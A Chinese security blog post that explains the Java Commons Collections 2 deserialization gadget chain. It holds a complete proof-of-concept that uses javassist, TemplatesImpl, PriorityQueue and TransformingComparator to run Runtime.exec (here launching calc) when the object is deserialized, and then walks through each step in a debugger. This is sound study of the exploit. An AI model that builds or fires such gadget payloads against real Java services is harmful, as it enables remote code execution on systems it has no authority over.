Java安全之Commons Collections2分析

首发:Java安全之Commons Collections2分析

0x00 前言

前面分析了CC1的利用链,但是发现在CC1的利用链中是有版本的限制的。在JDK1.8 8u71版本以后,对AnnotationInvocationHandlerreadobject进行了改写。导致高版本中利用链无法使用。

这就有了其他的利用链,在CC2链里面并不是使用 AnnotationInvocationHandler来构造,而是使用

javassistPriorityQueue来构造利用链。

CC2链中使用的是commons-collections-4.0版本,但是CC1在commons-collections-4.0版本中其实能使用,但是commons-collections-4.0版本删除了lazyMapdecode方法,这时候我们可以使用lazyMap方法来代替。但是这里产生了一个疑问,为什么CC2链中使用commons-collections-4.03.2.1-3.1版本不能去使用,使用的是commons-collections-4.04.0的版本?在中间查阅了一些资料,发现在3.1-3.2.1版本中TransformingComparator并没有去实现Serializable接口,也就是说这是不可以被序列化的。所以在利用链上就不能使用他去构造。

下面我把利用链给贴上。

Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

下面就来学习一下需要用到的基础知识。 关于javassist上篇文章已经讲过了,可以参考该篇文章:Java安全之Javassist动态编程

0x01 前置知识

PriorityQueue

构造方法:

PriorityQueue()
使用默认的初始容量(11)创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
PriorityQueue(int initialCapacity)
使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。

常见方法:

add(E e)           			将指定的元素插入此优先级队列
clear() 从此优先级队列中移除所有元素。
comparator() 返回用来对此队列中的元素进行排序的比较器;如果此队列根据其元素的自然顺序进行排序,则返回 null
contains(Object o) 如果此队列包含指定的元素,则返回 true。
iterator() 返回在此队列中的元素上进行迭代的迭代器。
offer(E e) 将指定的元素插入此优先级队列
peek() 获取但不移除此队列的头;如果此队列为空,则返回 null。
poll() 获取并移除此队列的头,如果此队列为空,则返回 null。
remove(Object o) 从此队列中移除指定元素的单个实例(如果存在)。
size() 返回此 collection 中的元素数。
toArray() 返回一个包含此队列所有元素的数组。

代码示例:

 public static void main(String[] args) {
PriorityQueue priorityQueue = new PriorityQueue(2);
priorityQueue.add(2);
priorityQueue.add(1);
System.out.println(priorityQueue.poll());
System.out.println(priorityQueue.poll());
}

结果:

1
2

getDeclaredField

getDeclaredField是class超类的一个方法。该方法用来获取类中或接口中已经存在的一个字段,也就是成员变量。

该方法返回的是一个Field对象。

Field

常用方法:

get			返回该所表示的字段的值 Field ,指定的对象上。
set 将指定对象参数上的此 Field对象表示的字段设置为指定的新值。

TransformingComparator

TransformingComparator是一个修饰器,和CC1中的ChainedTransformer类似。

查看一下该类的构造方法

这里发现个有意思的地方,compare方法会去调用transformertransform方法,嗅到了一丝丝CC1的味道。

0x02 POC分析

package com.test;

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer; import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue; public class cc2 {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; ClassPool classPool=ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("CommonsCollections22222222222");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime byte[] bytes=payload.toBytecode();//转换为byte数组 Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组 Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象
PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
queue.add(1);//添加数字1插入此优先级队列
queue.add(1);//添加数字1插入此优先级队列 Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
field2.setAccessible(true);//暴力反射
field2.set(queue,comparator);//设置queue的comparator字段值为comparator Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
field3.setAccessible(true);//暴力反射
field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close(); ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject(); }
}

先来看第一段代码:

        ClassPool classPool=ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("CommonsCollections22222222222");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");

我在这里划分了几个部分,这一段代码的意思可以简单理解为一句话,创建动态一个类,设置父类添加命令执行内容。

这里首先抛出一个疑问,上面的代码在前面,添加了AbstractTranslet所在的搜索路径,将AbstractTranslet设置为使用动态新建类的父类,那么这里为什么需要设置AbstractTranslet为新建类的父类呢?这里先不做解答,后面分析poc的时候再去讲。

 Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组 Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test

第二部分代码,反射获取_bytecodes的值,设置为转换后的payload的字节码。_name也是一样的方式设置为test。

那么为什么需要这样设置呢?为什么需要设置_bytecodes的值为paylaod的字节码?这是抛出的第二个疑问。

这里先来为第二个疑问做一个解答。

来看看TemplatesImpl_bytecodes被调用的地方

经过了load.defineclass方法返回了_class。在getTransletInstance()方法里面调用了__class.newInstance()方法。也就是说对我们传入的payload进行了实例化。这就是为什么使用的是templatesImpl类而不是其他类来构造的原因。

而且看到他这里是强转为AbstractTranslet类类型。这也是第一个疑问中为什么要继承AbstractTranslet为父类的原因。

那么就需要去寻找调用getTransletInstance的地方。在templatesImplnewTransformer方法中其实会调用到getTransletInstance方法。

这时候就要考虑到了newTransformer怎么去调用了,POC中给出的解决方案是使用InvokerTransformer的反射去调用。

InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});

TransformingComparator comparator =new TransformingComparator(transformer);

这又使用到了TransformingComparator是为什么呢?其实在前置知识的地方说过。TransformingComparatorcompare方法会去调用传入参数的transform方法。

而关于compare的办法就需要用到PriorityQueue来实现了。

查看对应的POC代码

PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1); Field field2=queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue,comparator);

siftDownUsingComparator方法会调用到comparatorcompare

siftDownUsingComparator会在siftDown方法进行调用

siftDown会在heapify调用,而heapify会在readobject复写点被调用。

下面再来看POC中的最后一段代码

Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);
field3.set(queue,new Object[]{templatesImpl,templatesImpl});

设置queue.queue为Object[]数组,内容为两个内置恶意代码的TemplatesImpl实例实例化对象。这样调用heapify方法里面的时候就会进行传参进去。

到这里POC为何如此构造已经是比较清楚了,但是对于完整的一个链完整的执行流程却不是很清楚。有必要调试一遍。刚刚的分析其实也是逆向的去分析。

0x03 POC调试

readobject位置打个断点,就可以看到反序列化时,调用的是PriorityQueuereadobject,而这个readobject方法会去调用heapify方法。

heapify会调用siftDown方法,并且传入queue,这里的queue是刚刚传入的构造好恶意代码的TemplatesImpl实例化对象。

该方法判断comparator不为空,就会去调用siftDownUsingComparator,这的comparator是被TransformingComparator修饰过的InvokerTransformer实例化对象。

跟进到siftDownUsingComparator方法里面,发现会方法会去调用comparatorcompare,因为我们这里的compare是被TransformingComparator修饰过的InvokerTransformer实例化对象。所以这里调用的就是TransformingComparatorcompare

在这里传入的2个参数,内容为TemplatesImpl实例化对象。

跟进到方法里面,this.iMethodName内容为newTransformer反射调用了newTransformer方法。再跟进一下。

newTransformer会调用getTransletInstance方法。

再跟进一下getTransletInstance方法,这里会发现先判断是否为空,为空的话调用defineTransletClasses()进行赋值,这里是将_bytecodes赋值给_class

defineTransletClasses()执行完后会跳回刚刚的地方,留意第一个if判断语句如果_name等于null就直接返回null,不执行下面代码。这也是前面为什么会为_name设置值的原因。

再来看他的下一段代码

_class.newInstance()_class进行实例化。执行完这一步后就会弹出一个计算器。

在最后面问题又来了,为什么newInstance()实例化了一个对象就会执行命令呢?

其实这就涉及到了在 javassist是怎么去构造的对象。

ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections22222222222");
payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
payload.writeFile("./");

将这个类给写出来,再来查看一下具体的是怎么构造的。

看到代码后其实就已经很清楚了,Runtime执行命令代码是在静态代码块里面,静态代码块会在new对象的时候去执行。

调用链

ObjectInputStream.readObject()->PriorityQueue.readObject()->PriorityQueue.heapify
->PriorityQueue.siftDown->PriorityQueue.siftDownUsingComparator
->TransformingComparator.compare()
->InvokerTransformer.transform()->TemplatesImpl.getTransletInstance
->(动态创建的类)cc2.newInstance()->Runtime.exec()

0x04 结尾

其实个人觉得在分析利用链的时候,只是用别人写好的POC代码看他的调用步骤的话,意义并不大。分析利用链需要思考利用链的POC为什么要这样写。这也是我一直在文中一直抛出疑问的原因,这些疑问都是我一开始考虑到的东西,需要多思考。

Java安全之Commons Collections2分析的更多相关文章

  1. Java安全之Commons Collections3分析

    Java安全之Commons Collections3分析 文章首发:Java安全之Commons Collections3分析 0x00 前言 在学习完成前面的CC1链和CC2链后,其实再来看CC3 ...

  2. Ysoserial Commons Collections2分析

    Ysoserial Commons Collections2分析 About Commons Collections2 CC2与CC1不同在于CC2用的是Commons Collections4.0; ...

  3. Java安全之Commons Collections1分析(二)

    Java安全之Commons Collections1分析(二) 0x00 前言 续上篇文,继续调试cc链.在上篇文章调试的cc链其实并不是一个完整的链.只是使用了几个方法的的互相调用弹出一个计算器. ...

  4. Java安全之Commons Collections1分析(一)

    Java安全之Commons Collections1分析(一) 0x00 前言 在CC链中,其实具体执行过程还是比较复杂的.建议调试前先将一些前置知识的基础给看一遍. Java安全之Commons ...

  5. Java安全之Commons Collections1分析前置知识

    Java安全之Commons Collections1分析前置知识 0x00 前言 Commons Collections的利用链也被称为cc链,在学习反序列化漏洞必不可少的一个部分.Apache C ...

  6. Java安全之Commons Collections1分析(三)

    Java安全之Commons Collections1分析(三) 0x00 前言 继续来分析cc链,用了前面几篇文章来铺垫了一些知识.在上篇文章里,其实是硬看代码,并没有去调试.因为一直找不到JDK的 ...

  7. Java安全之Commons Collections5分析

    Java安全之Commons Collections5分析 文章首发:Java安全之Commons Collections5分析 0x00 前言 在后面的几条CC链中,如果和前面的链构造都是基本一样的 ...

  8. Java安全之Commons Collections7分析

    Java安全之Commons Collections7分析 0x00 前言 本文讲解的该链是原生ysoserial中的最后一条CC链,但是实际上并不是的.在后来随着后面各位大佬们挖掘利用链,CC8,9 ...

  9. Java安全之Commons Collections6分析

    Java安全之Commons Collections6分析 0x00 前言 其实在分析的几条链中都大致相同,都是基于前面一些链的变形,在本文的CC6链中,就和前面的有点小小的区别.在CC6链中也和CC ...

随机推荐

  1. yml文件

    博文内容来自https://blog.csdn.net/chang_li/article/details/78667652 项目里用到yml文件作为配置文件,了解下其实挺简单,它的基本语法如下 大小写 ...

  2. Volatile禁止指令重排序(三)

    Volatile禁止指令重排 计算机在执行程序时,为了提高性能,编译器和处理器常常会对指令重排,一般分为以下三种: 源代码 -> 编译器优化的重排 -> 指令并行的重排 -> 内存系 ...

  3. Flutter音频播放--chewie_player的基本使用

    发现网络似乎没有关于简单音频播放的插件介绍,这几天找了一下,结果也都不尽人意,最后也是debug一下chewie_player插件的官方demo 先上官方demo图 官方git地址:https://g ...

  4. 单调队列优化O(N)建BST P1377 [TJOI2011]树的序

    洛谷 P1377 [TJOI2011]树的序 (单调队列优化建BST 链接 题意分析 本题思路很简单,根据题意,我们利用所给的Bst生成序将Bst建立起来,然后输出该BST的先序遍历即可: 但,如果我 ...

  5. Centos-对比文件差异-diff

    diff 比较文件差异 相关选项 -c 显示全部内容,并标记不同之处 -b 忽略行尾空格,并认为字符串中一个或多个空格视为相同 -r  当比较双方都是目录时,会比较子目录中的文件 -s 当两个文件相同 ...

  6. Numpy-数组array操作

    array是一个通用的同构数据多维容器,也就是说,其中的所有元素必须是相同类型的. 每个数组都有一个shape(一个表示各维度大小的元组)和一个dtype(一个用于说明数组数据类型的对象). 数组的形 ...

  7. Python编程学习第三课之编程从Hello World开始

    在搞定了前几节课的情况下,大家是否有一种想要跃跃欲试的赶脚,接下来就是我们开始练手的实战时刻. 每个编程人员入门编程的第一课都是向我们马上要进入的编程世界问好,"你好,世界"英文说 ...

  8. Office远程代码执行漏洞(CVE-2017-11882)

    POC: https://github.com/Ridter/CVE-2017-11882/ 一.简单的生成弹计算器的doc文件. 网上看到的改进过的POC,我们直接拿来用,命令如下: #python ...

  9. visual studio 2015 安装MSDN全称Microsoft Developer Network 安装离线的MSDN

    MSDN: 微软向开发人员提供的一套帮助系统,其中包含大量的开发文档,技术文章和示例代码. 这里介绍了vs2015 装离线的MSDN(说明一点是,如果不行,说明你的文件有缺陷,没安装好,之前我用vs2 ...

  10. unsigned int 和 int

    就如同int a:一样,int 也能被其它的修饰符修饰.除void类型外,基本数据类型之前都可以加各种类型修饰符,类型修饰符有如下四种:1.signed----有符号,可修饰char.int.Int是 ...